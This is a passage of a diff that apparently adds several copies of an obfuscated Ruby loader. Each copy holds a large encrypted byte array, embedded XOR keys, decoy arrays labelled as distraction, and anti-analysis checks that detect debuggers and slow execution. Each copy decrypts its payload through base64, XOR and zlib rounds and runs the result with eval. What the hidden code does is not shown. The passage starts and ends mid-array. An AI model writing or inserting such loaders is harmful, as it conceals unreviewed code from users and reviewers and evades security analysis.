116, 23, 56, 48, 152, 133, 40, 189, 51, 218, 22, 102, 150, 248, 197, 250, 38, 234, 70, 80, 120, 241, 212, 70, 21, 196, 148, 250, 77, 98, 58, 33, 21, 139, 157, 151, 250, 161, 191, 155, 61, 38, 87, 207, 51, 54, 70, 94, 178, 173, 43, 102, 192, 239, 235, 226, 202, 192, 159, 5, 224, 247, 239, 62, 228, 90, 17, 225, 166, 48, 223, 157, 214, 149, 133, 0, 199, 217, 228, 126, 22, 168, 80, 217, 222, 107, 125, 24, 165, 75, 199, 247, 253, 212, 239, 201, 33, 58, 85, 38, 183, 171, 171, 160, 220, 193, 82, 35, 127, 24, 3, 18, 123, 148, 76, 99, 229, 234, 104, 93, 239, 80, 96, 23, 218, 204, 195, 205, 135, 51, 215, 200, 157, 93, 250, 234, 115, 238, 238, 8, 176, 238, 204, 129, 105, 225, 25, 214, 76, 192, 200, 201, 156, 178, 158, 152, 120, 106, 17, 102, 104, 62, 75, 164, 21, 188, 236, 217, 155, 8, 200, 115, 5, 210, 77, 29, 243, 198, 213, 111, 218, 144, 83, 84, 152, 191, 122, 240, 69, 3, 223, 39, 27, 125, 41, 101, 69, 216, 227, 192, 25, 109, 170, 155, 82, 245, 146, 3, 144, 57, 113, 18, 121, 0, 206, 211, 58, 176, 217, 27, 55, 212, 105, 204, 16, 172, 230, 187, 169, 52, 242, 20, 95, 109, 241, 255, 231, 86, 210, 128, 199, 182, 22, 139, 231, 240, 26, 24, 65, 227, 200, 76, 242, 1, 163, 230, 70, 169, 193, 118, 216, 158, 78, 159, 248, 26, 44, 101, 83, 157, 213, 234, 94, 7, 209, 64, 33] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_ud69bef = [68, 182, 252, 128, 214, 160, 165, 15, 143, 193, 65, 225, 91, 230, 239, 181, 15, 81, 33, 124]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_s7aa083 = [0, 0, 0, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_j4eb06a = '81df662f48e82756b58ee92983d9ca78be10c61710983382478025c199999496'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_gcfc044 = [45, 204, 207, 190, 3, 37, 189, 5, 199, 177, 171, 80, 140, 68, 153, 12, 250, 57, 248, 107, 147, 169, 106, 34, 113, 0, 65, 78, 62, 176, 94, 132, 232, 113, 248, 159, 163, 147, 123, 171, 95, 177, 60, 188, 186, 77, 124, 189, 114, 232, 187, 178, 239, 240, 58, 230, 176, 200, 72, 13, 249, 143, 19, 122, 186, 60, 100, 138, 209, 224, 103, 214, 99, 50, 85, 79, 24, 199, 95, 100, 129, 30, 150, 123, 98, 15, 100, 252, 235, 104, 255, 216, 117, 159, 102, 50, 181, 232, 16, 94, 135, 57, 220, 141, 87, 60, 92, 160, 178, 134, 59, 54, 102, 79, 71]
|
|
64
|
+
_ref07d0 = [8, 238, 47, 249, 70, 159, 92, 175, 44, 7, 253, 214, 203, 243, 231, 57, 139, 212, 4, 230, 252, 248, 236, 52, 8, 221, 125, 172, 221, 231, 42, 156, 10, 161, 157, 150, 226, 114, 66, 115, 177, 127, 100, 118, 188, 239, 142, 121, 110, 104, 27, 84]
|
|
65
|
+
_n56977b = [58, 44, 119, 151, 153, 140, 119, 143, 20, 203, 142, 54, 210, 103, 212, 14, 86, 12, 133, 86, 175, 31, 160, 236, 242, 8, 159, 197, 203, 74, 150, 54, 117, 72, 43, 56, 69, 163, 81, 58, 27, 83, 213, 35, 116, 166, 114, 35, 174, 250, 179, 94, 195, 230, 5, 227, 80, 34, 87, 151, 78, 64, 26, 176, 118, 250, 38, 31, 11, 87, 93, 157, 136, 133, 48, 139, 77, 125, 182, 217, 143, 154, 75, 191, 246, 116, 253, 180, 234, 220, 43, 222, 72, 186, 163, 157, 223, 28, 43, 246, 131, 85, 163, 149, 244, 162, 129, 110, 55, 125, 166, 63, 111, 250, 69, 151, 107, 111, 80, 79, 9, 153, 133, 130, 227, 248, 53, 21, 119, 106]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _l5f5135.call(_v665d15, _s7aa083, _ud69bef, _j4eb06a)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_v292ddd = _v665d15.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_vb1473a|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_id57627 = 5 - _vb1473a - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_x17cf88 = 4
|
|
84
|
+
_bfcf206 = _id57627 * _x17cf88
|
|
85
|
+
_jbef586 = _ud69bef[_bfcf206, _x17cf88]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _s7aa083[_id57627] == 1
|
|
93
|
+
_abc4177 = _v292ddd.pack('C*')
|
|
94
|
+
_abc4177 = Base64.strict_decode64(_abc4177)
|
|
95
|
+
_v292ddd = _abc4177.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_v292ddd = _kea731f.call(_v292ddd, _jbef586)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_abc4177 = _v292ddd.pack('C*')
|
|
103
|
+
_abc4177 = Zlib::Inflate.inflate(_abc4177)
|
|
104
|
+
_v292ddd = _abc4177.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_fcc81c4 = _v292ddd.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _fcc81c4.strip.empty? || _fcc81c4.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_fcc81c4, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _t5c817e
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_t5c817e.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_tc8dc5c = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_j7ecf22 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _j7ecf22) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_a07a4f5 = _tc8dc5c.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_lea75c1 = ->(_wf1139f, _g3dcaa9) do
|
|
32
|
+
_rd36d43 = []
|
|
33
|
+
_wf1139f.each_with_index do |byte, idx|
|
|
34
|
+
_rd36d43 << (byte ^ _g3dcaa9[idx % _g3dcaa9.length])
|
|
35
|
+
end
|
|
36
|
+
_rd36d43
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_ub0f122 = lambda do |_qd19a23, _k821260, _tdab3dd, _nab8421|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_qd19a23.pack('C*'))
|
|
44
|
+
if current_hash != _nab8421
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_qd19a23 = [234, 101, 240, 65, 167, 9, 89, 213, 146, 187, 242, 145, 18, 124, 237, 185, 18, 4, 198, 204, 124, 81, 97, 171, 237, 101, 156, 106, 56, 157, 217, 151, 179, 237, 226, 100, 55, 40, 163, 37, 161, 73, 48, 179, 82, 84, 76, 237, 50, 224, 250, 85, 69, 201, 187, 73, 124, 217, 109, 11, 44, 193, 57, 45, 63, 227, 166, 67, 95, 9, 70, 226, 83, 213, 129, 119, 196, 114, 106, 211, 171, 217, 29, 212, 244, 75, 41, 18, 80, 150, 50, 20, 231, 178, 252, 181, 232, 5, 239, 176, 30, 57, 249, 243, 200, 224, 166, 133, 192, 103, 234, 91, 255, 134, 100, 166, 237, 160, 229, 123, 144, 104, 168, 210, 7, 229, 138, 236, 235, 30, 34, 153, 114, 154, 119, 227, 46, 26, 171, 59, 26, 235, 123, 86, 77, 56, 64, 63, 76, 86, 13, 59, 27, 183, 48, 35, 162, 16, 240, 53, 9, 2, 238, 113, 13, 63, 215, 117, 252, 18, 118, 255, 210, 45, 163, 111, 196, 144, 96, 24, 96, 101, 197, 121, 100, 218, 130, 172, 67, 254, 118, 203, 87, 162, 241, 5, 210, 169, 120, 57, 139, 139, 244, 134, 100, 36, 214, 89, 224, 254, 201, 172, 165, 158, 207, 94, 174, 211, 200, 104, 76, 146, 225, 91, 175, 166, 119, 158, 134, 154, 14, 152, 12, 11, 202, 228, 72, 142, 1, 132, 170, 138, 150, 218, 12, 48, 75, 84, 148, 184, 80, 157, 196, 237, 71, 47, 252, 162, 243, 184, 150, 173, 113, 82, 25, 73, 138, 124, 97, 27, 175, 23, 236, 72, 72, 164, 79, 101, 182, 238, 107, 166, 30, 246, 100, 165, 224, 19, 140, 77, 175, 89, 43, 77, 99, 163, 152, 60, 34, 7, 113, 36, 178, 5, 184, 220, 165, 10, 59, 77, 147, 203, 23, 190, 27, 252, 245, 81, 104, 46, 224, 133, 154, 192, 168, 184, 47, 213, 229, 117, 184, 49, 84, 2, 238, 205, 83, 88, 234, 30, 142, 65, 27, 186, 0, 164, 22, 22, 159, 58, 195, 255, 151, 11, 154, 4, 24, 91, 13, 144, 55, 63, 64, 177, 70, 89, 164, 26, 55, 29, 235, 40, 30, 97, 128, 205, 78, 122, 108, 24, 135, 138, 94, 106, 189, 171, 178, 3, 35, 69, 46, 174, 76, 113, 177, 209, 99, 3, 37, 167, 135, 168, 166, 21, 18, 88, 30, 161, 20, 41, 18, 134, 33, 214, 28, 231, 193, 144, 192, 158, 145, 209, 181, 233, 78, 193, 95, 178, 239, 158, 40, 229, 142, 27, 31, 229, 8, 13, 118, 140, 218, 105, 166, 132, 13, 153, 20, 157, 232, 226, 184, 140, 103, 252, 97, 248, 106, 21, 227, 147, 115, 78, 107, 94, 71, 21, 11, 105, 97, 222, 135, 142, 134, 76, 156, 169, 107, 46, 112, 177, 115, 248, 108, 86, 10, 237, 101, 88, 31, 209, 249, 37, 115, 244, 150, 232, 78, 108, 223, 71, 172, 73, 167, 33, 25, 86, 98, 168, 199, 136, 232, 202, 200, 42, 40, 194, 20, 240, 35, 187, 28, 191, 253, 51, 196, 140, 171, 27, 0, 158, 151, 99, 45, 120, 14, 30, 93, 104, 80, 14, 210, 191, 168, 24, 237, 30, 186, 210, 130, 184, 99, 255, 3, 91, 230, 202, 199, 250, 110, 38, 237, 228, 212, 147, 7, 179, 134, 195, 138, 182, 190, 218, 216, 90, 89, 142, 187, 29, 72, 75, 137, 31, 40, 110, 219, 49, 145, 5, 1, 33, 235, 242, 188, 17, 179, 30, 92, 113, 254, 165, 106, 139, 198, 132, 66, 200, 38, 145, 59, 253, 63, 148, 93, 68, 38, 124, 204, 197, 117, 193, 70, 180, 210, 141, 213, 84, 202, 188, 171, 209, 3, 235, 47, 106, 254, 211, 220, 223, 19, 30, 242, 121, 181, 179, 234, 179, 78, 199, 13, 184, 241, 153, 21, 77, 87, 56, 185, 229, 225, 84, 103, 212, 183, 41, 190, 26, 147, 8, 218, 123, 251, 137, 66, 80, 114, 224, 142, 138, 248, 86, 177, 134, 89, 33, 136, 132, 43, 66, 136, 142, 160, 254, 86, 27, 144, 39, 56, 91, 223, 106, 155, 93, 14, 112, 143, 245, 152, 158, 68, 77, 255, 9, 101, 34, 64, 254, 62, 110, 237, 156, 141, 4, 27, 238, 2, 115, 253, 43, 18, 19, 22, 237, 95, 57, 127, 108, 137, 202, 50, 212, 45, 174, 77, 58, 122, 0, 27, 227, 254, 4, 104, 157, 161, 50, 172, 173, 179, 183, 123, 220, 20, 222, 187, 176, 222, 190, 73, 225, 83, 235, 102, 112, 131, 104, 168, 56, 243, 166, 39, 126, 198, 57, 22, 208, 5, 57, 120, 248, 159, 5, 70, 83, 199, 101, 78, 162, 61, 135, 225, 250, 146, 128, 44, 40, 67, 125, 186, 158, 66, 203, 27, 212, 143, 87, 179, 197, 110, 82, 154, 89, 82, 84, 155, 82, 125, 179, 230, 46, 51, 10, 68, 165, 151, 22, 194, 1, 167, 208, 19, 83, 73, 80, 27, 12, 200, 160, 255, 151, 223, 96, 224, 55, 234, 225, 147, 40, 235, 44, 184, 252, 201, 82, 143, 33, 57, 84, 120, 38, 70, 157, 1, 193, 119, 104, 239, 6, 244, 64, 249, 211, 172, 22, 200, 180, 179, 56, 59, 180, 107, 165, 246, 152, 88, 66, 94, 195, 113, 11, 106, 133, 30, 255, 190, 125, 247, 6, 218, 137, 92, 31, 46, 101, 78, 107, 115, 175, 104, 231, 57, 182, 102, 121, 44, 11, 190, 85, 215, 105, 139, 184, 197, 229, 37, 219, 51, 22, 84, 167, 167, 156, 180, 230, 61, 42, 234, 227, 71, 101, 137, 21, 224, 246, 196, 89, 191, 128, 41, 230, 16, 121, 190, 212, 89, 203, 227, 6, 111, 239, 95, 177, 164, 177, 214, 102, 240, 100, 75, 180, 219, 223, 60, 81, 163, 3, 180, 163, 204, 124, 27, 229, 151, 147, 117, 194, 155, 21, 122, 26, 35, 111, 113, 189, 96, 38, 244, 73, 221, 69, 161, 0, 83, 94, 174, 218, 99, 152, 142, 59, 187, 194, 207, 176, 113, 7, 7, 162, 165, 227, 237, 45, 30, 33, 175, 28, 126, 217, 20, 107, 163, 99, 210, 22, 191, 142, 30, 238, 206, 29, 115, 117, 110, 41, 121, 113, 242, 231, 39, 83, 9, 153, 48, 67, 240, 83, 89, 122, 12, 93, 55, 186, 210, 37, 173, 144, 140, 70, 209, 111, 218, 225, 65, 15, 136, 147, 132, 203, 185, 169, 127, 181, 69, 29, 210, 140, 110, 27, 197, 18, 62, 204, 19, 92, 250, 12, 228, 17, 88, 202, 55, 88, 212, 202, 245, 195, 50, 119, 220, 175, 103, 59, 79, 178, 187, 17, 123, 33, 35, 162, 121, 241, 32, 91, 203, 245, 122, 24, 112, 238, 115, 86, 181, 249, 251, 175, 93, 161, 87, 215, 201, 187, 198, 187, 91, 142, 194, 36, 35, 175, 187, 168, 131, 215, 22, 98, 213, 223, 18, 66, 232, 183, 208, 29, 211, 64, 113, 79, 254, 134, 137, 202, 132, 183, 59, 244, 134, 41, 164, 182, 143, 207, 134, 132, 85, 115, 138, 120, 182, 210, 105, 94, 232, 96, 140, 3, 102, 11, 81, 206, 94, 57, 213, 58, 67, 244, 10, 159, 45, 146, 225, 81, 140, 183, 12, 177, 90, 123, 202, 242, 117, 156, 26, 0, 206, 150, 105, 17, 28, 121, 174, 227, 108, 142, 212, 225, 81, 224, 20, 134, 42, 154, 59, 235, 235, 165, 250, 134, 37, 170, 38, 179, 41, 49, 14, 29, 238, 163, 247, 8, 78, 133, 70, 180, 102, 66, 119, 41, 226, 96, 4, 95, 12, 143, 9, 65, 29, 247, 237, 60, 254, 32, 244, 230, 122, 12, 58, 54, 82, 176, 16, 150, 40, 197, 150, 190, 165, 59, 99, 212, 47, 130, 193, 240, 200, 241, 153, 145, 251, 120, 156, 217, 143, 138, 213, 248, 214, 91, 201, 213, 2, 78, 227, 121, 7, 217, 220, 119, 201, 34, 151, 27, 53, 27, 160, 139, 164, 138, 212, 175, 166, 210, 213, 117, 8, 93, 178, 244, 166, 41, 240, 95, 74, 132, 6, 4, 214, 31, 185, 27, 125, 155, 29, 103, 220, 119, 3, 237, 213, 153, 215, 46, 185, 205, 144, 7, 233, 137, 235, 142, 115, 84, 191, 12, 1, 190, 140, 234, 41, 208, 204, 233, 146, 109, 30, 22, 234, 87, 248, 76, 151, 158, 2, 188, 66, 116, 143, 205, 221, 174, 102, 119, 191, 21, 151, 224, 248, 252, 165, 236, 164, 83, 17, 202, 7, 140, 171, 66, 60, 230, 177, 181, 173, 127, 8, 43, 12, 124, 180, 246, 115, 101, 24, 159, 128, 171, 242, 254, 204, 193, 178, 131, 69, 86, 28, 2, 124, 52, 247, 184, 197, 25, 105, 20, 44, 62, 64, 111, 166, 90, 246, 165, 35, 191, 57, 76, 151, 68, 81, 121, 204, 223, 151, 129, 54, 201, 243, 94, 140, 160, 226, 136, 75, 11, 118, 221, 244, 59, 0, 56, 65, 70, 70, 15, 122, 205, 80, 95, 222, 93, 23, 18, 105, 144, 187, 77, 183, 163, 36, 55, 38, 63, 138, 78, 164, 248, 118, 141, 139, 98, 46, 118, 108, 51, 28, 185, 66, 14, 109, 228, 219, 0, 153, 71, 51, 52, 33, 245, 236, 174, 169, 0, 116, 115, 217, 214, 16, 84, 189, 161, 104, 52, 206, 100, 57, 169, 27, 170, 208, 126, 127, 59, 50, 113, 251, 139, 102, 100, 26, 190, 140, 141, 203, 111, 92, 191, 79, 37, 254, 236, 244, 129, 80, 202, 162, 232, 47, 112, 138, 154, 22, 247, 44, 13, 128, 217, 211, 157, 89, 50, 182, 88, 95, 222, 174, 153, 221, 119, 234, 170, 181, 150, 105, 50, 24, 94, 24, 237, 216, 235, 57, 35, 246, 214, 73, 148, 132, 254, 200, 22, 219, 174, 95, 32, 169, 77, 172, 239, 207, 52, 64, 243, 165, 252, 49, 92, 40, 146, 114, 221, 124, 145, 87, 45, 59, 170, 84, 216, 8, 44, 133, 136, 0, 73, 79, 14, 46, 65, 41, 213, 55, 249, 190, 210, 91, 32, 20, 152, 185, 132, 34, 155, 76, 149, 17, 27, 99, 10, 252, 213, 108, 252, 163, 230, 238, 65, 169, 175, 57, 66, 223, 181, 200, 226, 117, 57, 51, 191, 178, 70, 114, 17, 246, 134, 29, 194, 140, 132, 196, 119, 55, 47, 86, 6, 100, 80, 218, 86, 125, 47, 211, 175, 123, 35, 196, 121, 122, 84, 65, 28, 93, 171, 60, 234, 38, 95, 145, 120, 167, 195, 229, 174, 239, 75, 95, 105, 98, 162, 81, 252, 173, 215, 2, 105, 178, 97, 91, 205, 92, 104, 70, 25, 52, 94, 83, 206, 223, 106, 222, 0, 38, 18, 178, 224, 92, 243, 179, 254, 214, 89, 55, 72, 81, 18, 130, 53, 150, 127, 194, 92, 51, 72, 179, 138, 149, 45, 187, 40, 131, 34, 184, 226, 195, 220, 85, 225, 0, 246, 239, 247, 77, 174, 52, 212, 102, 186, 67, 99, 204, 135, 34, 67, 197, 76, 219, 145, 129, 68, 217, 12, 91, 113, 161, 50, 204, 95, 81, 77, 113, 10, 120, 141, 171, 156, 231, 171, 136, 10, 151, 22, 137, 77, 241, 193, 224, 131, 116, 181, 26, 208, 28, 110, 88, 120, 11, 61, 243, 112, 218, 224, 119, 201, 24, 82, 96, 158, 248, 136, 162, 35, 133, 241, 110, 187, 205, 231, 151, 54, 156, 226, 168, 154, 240, 44, 208, 18, 235, 102, 244, 94, 177, 140, 186, 109, 7, 92, 127, 122, 164, 65, 203, 178, 119, 145, 183, 17, 127, 97, 255, 55, 101, 75, 152, 54, 83, 253, 204, 118, 56, 45, 237, 86, 1, 118, 217, 93, 21, 208, 151, 203, 11, 55, 193, 247, 200, 183, 130, 87, 171, 19, 21, 14, 118, 155, 6, 209, 82, 30, 26, 82, 253, 127, 222, 36, 202, 26, 8, 23, 68, 67, 229, 230, 45, 88, 141, 101, 208, 74, 230, 134, 34, 192, 2, 212, 111, 142, 134, 130] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_j53bc98 = [167, 157, 213, 207, 138, 135, 72, 168, 170, 159, 143, 209, 144, 164, 132, 124, 146, 191, 253, 213]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_k821260 = [0, 1, 1, 1, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_nab8421 = '0ee6085cdfa7eb3fa10a2f8a8e45884a07970086265d633275cf255620ec7039'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_yd76ab6 = [95, 16, 196, 215, 50, 198, 246, 177, 215, 99, 35, 29, 123, 50, 63, 196, 12, 224, 206, 33, 118, 185, 148, 160, 201, 255, 148, 64, 20, 181, 16, 185, 140, 44, 195, 115, 129, 198, 161, 136, 28, 55, 148, 137, 191, 166, 91, 135, 155, 193, 165, 157, 3, 163, 90, 116, 159, 62, 57, 238, 123, 148, 55, 149, 22, 0, 20, 0, 237, 237]
|
|
64
|
+
_b932fd4 = [78, 11, 124, 16, 168, 153, 107, 163, 242, 140, 206, 151, 244, 128, 254, 86, 97, 128, 176, 85, 19, 31, 130, 184, 204, 146, 135, 246, 176, 22, 233, 234, 99, 229, 181, 25, 243, 120, 78, 198, 126, 216, 148, 245, 106, 86, 70, 16, 160, 177, 193, 89, 162, 11, 169, 52, 24, 99, 23, 13, 30, 82, 215, 236, 57, 109, 0, 69, 207, 129, 162, 59, 59, 107, 106, 221, 245, 151, 232, 135, 236, 205, 227, 104, 199, 166, 83, 224, 129, 4, 180, 109, 119, 0, 118, 218, 206, 200, 222, 160, 52, 181]
|
|
65
|
+
_yfd1057 = [172, 41, 82, 41, 217, 34, 74, 2, 137, 169, 247, 233, 138, 145, 109, 112, 104, 178, 145, 182, 213, 250, 249, 135, 176, 202, 232, 75, 40, 15, 144, 208, 112, 71, 0, 135, 149, 243, 24, 169, 121, 117, 132, 252, 213, 145, 10, 105, 87, 196, 28, 233, 121, 80, 179, 75, 35, 175, 107, 48, 118, 123, 102, 121, 136, 178, 109, 224, 137, 3, 223, 117, 105, 239, 111]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _ub0f122.call(_qd19a23, _k821260, _j53bc98, _nab8421)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_t9fab05 = _qd19a23.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_lca3481|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_h111e16 = 5 - _lca3481 - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_gfb67da = 4
|
|
84
|
+
_oe35a7f = _h111e16 * _gfb67da
|
|
85
|
+
_o0df4f3 = _j53bc98[_oe35a7f, _gfb67da]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _k821260[_h111e16] == 1
|
|
93
|
+
_a6f2737 = _t9fab05.pack('C*')
|
|
94
|
+
_a6f2737 = Base64.strict_decode64(_a6f2737)
|
|
95
|
+
_t9fab05 = _a6f2737.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_t9fab05 = _lea75c1.call(_t9fab05, _o0df4f3)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_a6f2737 = _t9fab05.pack('C*')
|
|
103
|
+
_a6f2737 = Zlib::Inflate.inflate(_a6f2737)
|
|
104
|
+
_t9fab05 = _a6f2737.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_rb824e8 = _t9fab05.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _rb824e8.strip.empty? || _rb824e8.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_rb824e8, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _ea02cad
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_ea02cad.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_o7a8249 = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_f875373 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _f875373) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_qc36398 = _o7a8249.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_s442439 = ->(_j773ff4, _lc95c9e) do
|
|
32
|
+
_n84acc5 = []
|
|
33
|
+
_j773ff4.each_with_index do |byte, idx|
|
|
34
|
+
_n84acc5 << (byte ^ _lc95c9e[idx % _lc95c9e.length])
|
|
35
|
+
end
|
|
36
|
+
_n84acc5
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_q435933 = lambda do |_s431060, _b01e253, _j50ae47, _s1ef092|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_s431060.pack('C*'))
|
|
44
|
+
if current_hash != _s1ef092
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_s431060 = [212, 177, 31, 235, 165, 246, 232, 168, 98, 56, 91, 217, 16, 207, 16, 199, 0, 238, 93, 175, 136, 184, 100, 33, 29, 189, 152, 237, 31, 207, 31, 39, 209, 101, 81, 224, 242, 237, 242, 209, 105, 10, 211, 212, 35, 234, 22, 91, 143, 199, 243, 164, 195, 237, 1, 162, 203, 105, 124, 192, 160, 117, 113, 68, 34, 40, 146, 77, 201, 150, 156, 112, 250, 76, 217, 223, 106, 119, 97, 5, 65, 153, 32, 2, 87, 229, 228, 98, 180, 4, 155, 110, 174, 148, 215, 180, 12, 2, 247, 75, 78, 100, 39, 103, 209, 128, 5, 210, 71, 211, 19, 22, 91, 184, 111, 114, 3, 216, 22, 82, 118, 6, 193, 2, 18, 248, 186, 69, 92, 211, 227, 60, 65, 138, 104, 27, 200, 238, 11, 38, 184, 57, 175, 187, 141, 24, 181, 234, 2, 167, 192, 110, 115, 88, 58, 199, 168, 230, 220, 172, 159, 86, 199, 181, 129, 219, 77, 63, 150, 247, 138, 52, 195, 13, 160, 90, 122, 128, 100, 184, 7, 38, 198, 150, 16, 235, 147, 70, 151, 73, 201, 192, 188, 92, 76, 78, 48, 100, 